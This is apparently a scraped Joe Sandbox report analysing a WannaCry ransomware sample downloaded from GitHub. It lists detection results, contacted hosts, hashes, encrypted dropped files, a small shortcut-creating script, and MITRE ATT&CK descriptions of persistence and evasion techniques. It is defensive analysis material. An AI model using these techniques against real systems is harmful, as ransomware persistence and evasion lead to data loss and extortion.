C:\Users\user\Downloads\TaskData\Tor\libevent_core-2-0-5.dll	0%	Virustotal		Browse
C:\Users\user\Downloads\TaskData\Tor\libevent_extra-2-0-5.dll	0%	ReversingLabs
C:\Users\user\Downloads\TaskData\Tor\libevent_extra-2-0-5.dll	0%	Virustotal		Browse
C:\Users\user\Downloads\TaskData\Tor\libgcc_s_sjlj-1.dll	0%	ReversingLabs
C:\Users\user\Downloads\TaskData\Tor\libgcc_s_sjlj-1.dll	0%	Virustotal		Browse
C:\Users\user\Downloads\TaskData\Tor\libssp-0.dll	0%	ReversingLabs
C:\Users\user\Downloads\TaskData\Tor\libssp-0.dll	0%	Virustotal		Browse
C:\Users\user\Downloads\TaskData\Tor\ssleay32.dll	0%	ReversingLabs
C:\Users\user\Downloads\TaskData\Tor\ssleay32.dll	0%	Virustotal		Browse
C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe (copy)	0%	ReversingLabs
C:\Users\user\Downloads\TaskData\Tor\taskhsvc.exe (copy)	0%	Virustotal		Browse
C:\Users\user\Downloads\TaskData\Tor\zlib1.dll	0%	ReversingLabs
C:\Users\user\Downloads\TaskData\Tor\zlib1.dll	0%	Virustotal		Browse

Source	Detection	Scanner	Link
github.githubassets.com	0%	Virustotal	Browse
camo.githubusercontent.com	0%	Virustotal	Browse
user-images.githubusercontent.com	0%	Virustotal	Browse
avatars.githubusercontent.com	0%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s3-w.us-east-1.amazonaws.com	52.216.33.161	true	false		high
avatars.githubusercontent.com	185.199.110.133	true	false	0%, Virustotal, Browse	unknown
github.com	140.82.112.4	true	false		high
raw.githubusercontent.com	185.199.110.133	true	false		unknown
api.github.com	140.82.114.5	true	false		high
www.google.com	142.250.81.228	true	false		high
user-images.githubusercontent.com	185.199.111.133	true	false	0%, Virustotal, Browse	unknown
glb-db52c2cf8be544.github.com	140.82.113.22	true	false		high
camo.githubusercontent.com	185.199.108.133	true	false	0%, Virustotal, Browse	unknown
github.githubassets.com	185.199.111.154	true	false	0%, Virustotal, Browse	unknown
collector.github.com	unknown	unknown	false		high
github-cloud.s3.amazonaws.com	unknown	unknown	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.114.4	unknown	United States	36459	GITHUBUS	false
140.82.112.4	github.com	United States	36459	GITHUBUS	false
188.138.112.60	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
142.250.65.163	unknown	United States	15169	GOOGLEUS	false
142.250.81.228	www.google.com	United States	15169	GOOGLEUS	false
142.250.64.99	unknown	United States	15169	GOOGLEUS	false
20.189.173.22	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.199.111.154	github.githubassets.com	Netherlands	54113	FASTLYUS	false
140.82.114.5	api.github.com	United States	36459	GITHUBUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.199.109.133	unknown	Netherlands	54113	FASTLYUS	false
142.251.40.174	unknown	United States	15169	GOOGLEUS	false
185.199.108.133	camo.githubusercontent.com	Netherlands	54113	FASTLYUS	false
154.35.175.225	unknown	United States	14987	RETHEMHOSTINGUS	false
140.82.113.22	glb-db52c2cf8be544.github.com	United States	36459	GITHUBUS	false
142.251.40.170	unknown	United States	15169	GOOGLEUS	false
185.199.110.133	avatars.githubusercontent.com	Netherlands	54113	FASTLYUS	false
185.199.110.154	unknown	Netherlands	54113	FASTLYUS	false
217.79.252.202	unknown	Netherlands	29802	HVC-ASUS	false
142.251.163.84	unknown	United States	15169	GOOGLEUS	false

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1440038
Start date and time:	2024-05-11 17:35:39 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://github.com/limiteci/WannaCry
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	219
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Detection:	MAL
Classification:	mal100.rans.phis.spyw.evad.win@1440/678@30/157

Process:	C:\Users\user\Downloads\WannaCry (3).EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	245760
Entropy (8bit):	6.278920408390635
Encrypted:	false
SSDEEP:
MD5:	7BF2B57F2A205768755C07F238FB32CC
SHA1:	45356A9DD616ED7161A3B9192E2F318D0AB5AD10
SHA-256:	B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
SHA-512:	91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\@WanaDecryptor@.exe, Author: Joe Security Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\@WanaDecryptor@.exe, Author: Joe Security Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\@WanaDecryptor@.exe, Author: Joe Security Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 97% Antivirus: Virustotal, Detection: 89%, Browse Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..\|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...\|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8699160340130252
Encrypted:	false
SSDEEP:
MD5:	AF01272D4DD1E59CA04D6B8CCE9DB5D3
SHA1:	045729CC4CA3E4C0139CC9116CD6CAB02742E566
SHA-256:	30CCF1A580C3C13205914CB6F744668BCD1652A2CE086B9DA691124E402F51FB
SHA-512:	7D675AFDA73C865D5C5E23B7C9A537E9C447DA65F30C737B3F70F7A2358EAD38F6AFCD0382F2009E74EBF69B4B1DF71D646A161CCFB0742FC8BFEC0D68CDAAB8
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.9.9.1.5.4.4.8.0.7.7.3.0.1.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.9.9.1.5.4.4.8.4.5.9.2.9.9.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.1.f.4.1.3.6.0.-.f.a.1.5.-.4.0.d.d.-.8.1.b.0.-.d.7.f.c.c.2.f.e.7.0.6.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.2.4.b.3.2.2.d.-.c.b.2.7.-.4.5.1.f.-.8.b.a.7.-.b.9.4.f.5.e.d.9.f.f.3.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.L.O.D.C.T.R...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.6.0.-.0.0.0.1.-.0.0.1.6.-.b.1.d.a.-.6.0.1.e.b.9.a.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.8.c.e.6.c.7.8.9.2.9.c.c.0.a.2.e.f.7.0.c.7.b.3.6.8.2.7.9.2.7.9.0.0.0.0.0.9.0.4.!.0.0.0.0.4.5.3.5.6.a.9.d.d.6.1.6.e.d.7.1.6.1.a.3.b.9.1.9.2.e.2.f.3.1.8.d.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat May 11 14:36:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.999493553153685
Encrypted:	false
SSDEEP:
MD5:	D2EFAC8E5B4F3B19DB6463C9AA8B205E
SHA1:	51AB36CF09F975197B4FCAD7C24AF9191260CF2A
SHA-256:	839F5255F827E9CA4E392092F42FD21D59FF68903407D9DFAEACD5A6EC2A0ECE
SHA-512:	52263196B206A49C0FB80F3FE99B440DD10997CC2CF656FABB3EF64357C58647B7E0FB22B0EC3613257D9891876433EFA3AF711059D39B0159DEA074A6BA26D2
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,..........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Xz\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.\|....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.\|....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.\|..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.\|...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............v.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://github.com/limiteci/WannaCry

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

Operating System Destruction

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

DDoS

Operating System Destruction

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

C:\@WanaDecryptor@.exe

C:\ProgramData\Microsoft\AppV\Setup\@WanaDecryptor@.exe.lnk

C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1.WNCRYT

C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\en-us.16\stream.x86.en-us.db.WNCRYT

C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\operations.db.WNCRYT

C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\x-none.16\stream.x86.x-none.db.WNCRYT

C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT

C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT

C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT

C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT

C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT

C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT

C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT

C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT

C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT

C:\ProgramData\Microsoft\Diagnosis\osver.txt.WNCRYT

C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT

C:\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRYT

C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT

C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1.WNCRYT

C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT

Windows Analysis Report
https://github.com/limiteci/WannaCry

Process:	C:\Users\user\Downloads\@WanaDecryptor@.exe
File Type:	PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	C17170262312F3BE7027BC2CA825BF0C
SHA1:	F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
SHA-256:	D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
SHA-512:	C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
Malicious:	false
Reputation:	unknown
Preview:	BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	199
Entropy (8bit):	5.017779024771273
Encrypted:	false
SSDEEP:
MD5:	0340AD18DC1AE12FDFC09CEBB5CE8155
SHA1:	AF10F92776E6E1738DC915EB3B3D16E896C20C3D
SHA-256:	58B9EC88141FA154E612168DD69002C0D9402844B81C7AAFCA4C65135289110F
SHA-512:	F2E619FB11758BE785355D87272005F04D10A5B26F92F61055F03DB32EE2FF02F5B7E15E15E09A073F3C870EB2B4A1FEB91ADB27EEEC04B81C27D4C69DE5F526
Malicious:	true
Reputation:	unknown
Preview:	SET ow = WScript.CreateObject("WScript.Shell")..SET om = ow.CreateShortcut("C:\Users\user\Downloads\@WanaDecryptor@.exe.lnk")..om.TargetPath = "C:\Users\user\Downloads\@WanaDecryptor@.exe"..om.Save..

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	4926
Entropy (8bit):	3.246161429320699
Encrypted:	false
SSDEEP:
MD5:	21BFBD0C1BE0DE674643F641C7BD8F0E
SHA1:	70437E6F9D1709499F0B86F44751011BF97E21B7
SHA-256:	0E5E244840C279450A1CFB559932CE1B3813F2684C6CD0957083CA0E45D0CC76
SHA-512:	76695232DD8A7721D10893FA134E8B5CD8A905FB92723FE688A5A2E00A73D3513EC9F96BAB2FDA27BA5FB6551DB2561FC293D11C153BE2A0BB1D29620AE74078
Malicious:	false
Reputation:	unknown
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. O.c.t. .. 0.6. .. 2.0.2.3. .1.1.:.3.5.:.2.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

Process:	C:\Windows\SysWOW64\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.305255793112395
Encrypted:	false
SSDEEP:
MD5:	6ED2062D4FB53D847335AE403B23BE62
SHA1:	C3030ED2C3090594869691199F46BE7A9A12E035
SHA-256:	43B5390113DCBFA597C4AAA154347D72F660DB5F2A0398EB3C1D35793E8220B9
SHA-512:	C9C302215394FEC0B38129280A8303E0AF46BA71B75672665D89828C6F68A54E18430F953CE36B74F50DC0F658CA26AC3572EA60F9E6714AFFC9FB623E3C54FC
Malicious:	false
Reputation:	unknown
Preview:	ERROR:...Description = Initialization failure...

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre